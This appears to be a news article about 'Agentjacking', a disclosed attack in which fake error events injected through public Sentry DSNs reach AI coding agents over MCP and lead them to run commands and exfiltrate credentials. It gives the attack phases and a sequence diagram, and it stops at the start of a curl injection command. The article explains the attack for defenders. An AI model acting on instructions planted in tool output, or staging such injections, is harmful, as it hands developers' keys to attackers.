Agentjacking: How Public Sentry Keys Turn AI Coding Agents Into Trojan Horses Security researchers at Tenet Security disclosed Agentjacking, an exploit chain that weaponizes public Sentry Data Source Names (DSNs) and the Model Context Protocol to trick AI coding agents like Cursor and Claude Code into executing arbitrary code on developer machines. By injecting fake error events into Sentry's ingest endpoint via public DSNs, attackers achieved an 85% success rate in forcing agents to run malicious commands and exfiltrate credentials. The vulnerability highlights a fundamental architectural risk when autonomous AI agents are granted terminal access and tool execution capabilities. Security https://www.devclubhouse.com/c/security Article Agentjacking: How Public Sentry Keys Turn AI Coding Agents Into Trojan Horses A newly disclosed exploit chain weaponizes public DSNs and the Model Context Protocol to execute arbitrary code on developer machines. Emeka Okafor https://www.devclubhouse.com/u/emeka okafor The workflow is deceptively routine. A production error triggers an alert. Instead of digging through stack traces manually, a developer fires up a state-of-the-art AI coding assistant like Cursor https://cursor.com or Claude Code and issues a simple prompt: "Check our unresolved Sentry errors and fix them." The agent queries the Sentry https://sentry.io API, parses the latest crash report, identifies a remediation step, and executes a terminal command to resolve the issue. Within seconds, the bug is marked closed. But behind the scenes, your AWS keys, npm tokens, and private repository URLs are already being packaged and POSTed to an attacker's beacon server. This is Agentjacking , a highly practical exploit chain disclosed in June 2026 by Tenet Security. By abusing the inherently public nature of Sentry Data Source Names DSNs and the implicit trust models of the Model Context Protocol https://modelcontextprotocol.io MCP , researchers demonstrated an 85% success rate in forcing popular AI agents—including Claude Code, Cursor, and Codex—to execute arbitrary code on developer machines. This is not a simple software bug; it is a fundamental architectural vulnerability at the intersection of observability and autonomous execution. It exposes a critical reality: when you give an LLM a terminal and a toolbelt, every data ingestion pipeline becomes a potential remote code execution RCE vector. The Anatomy of the Exploit To understand Agentjacking, you must first understand the trust assumptions built into modern observability pipelines. When you integrate Sentry into a client-side application like a React frontend or a mobile app , you must expose a Sentry DSN. This DSN is a write-only credential that allows the client to POST error telemetry directly to Sentry's ingest endpoint. Because it is embedded in frontend JavaScript, it is public by design. Anyone can extract it from browser source code, GitHub searches, or public indexing services. Tenet Security identified 2,388 organizations with exposed, injectable DSNs—ranging from solo developers to a $250 billion Fortune 100 enterprise. In a pre-agent world, the worst an attacker could do with a public DSN was spam your dashboard with junk events. In the agentic era, however, that write-only endpoint becomes an unauthenticated command-injection channel. sequenceDiagram actor Attacker participant Sentry as Sentry Ingest participant MCP as Sentry MCP Server participant Agent as AI Coding Agent actor Developer Attacker- Sentry: POST fake error with markdown payload via public DSN Developer- Agent: "Fix unresolved Sentry errors" Agent- MCP: Query unresolved errors MCP- Sentry: Fetch events Sentry-- MCP: Return fake error event MCP-- Agent: Return structured markdown including payload Agent- Agent: Parse and execute payload npx command Agent- Attacker: Exfiltrate credentials/keys An attacker executes the attack in five distinct phases: Harvest the DSN : The attacker grabs the target's public Sentry DSN. Inject the Payload : Using a standard HTTP client, the attacker sends a carefully crafted, fake error event to Sentry's ingest endpoint. No authentication is required beyond the DSN itself. curl -X POST "https://o